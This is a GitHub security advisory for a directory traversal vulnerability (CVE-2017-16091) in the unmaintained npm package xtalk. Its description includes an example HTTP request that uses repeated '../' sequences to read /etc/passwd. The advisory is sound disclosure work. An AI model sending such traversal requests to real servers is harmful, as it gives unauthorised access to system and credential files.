GitHub Advisoryadvisory · npm
GHSA-cqv6-7fwc-8m3c Directory Traversal in xtalk
HIGH
Official page ↗
- Aliases
- CVE-2017-16091
- Ecosystem
- npm
- Packages
- xtalk
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2020-08-31
Affected packages
• npm xtalk: >= 0.0.2 (no fix yet)
Description
Affected versions of `xtalk` are vulnerable to directory traversal, allowing access to the filesystem by placing "../" in the URL.
Example request:
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:localhost
```
Recommendation
No patch is currently available for this vulnerability, and the package has not been updated since 2014.
The best mitigation is currently to avoid using this package, and using a different, functionally equivalent package.
Related
Alias · CVE (1)
- CVE-2017-16091 xtalk helps your browser talk to nodex, a simple web framework. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness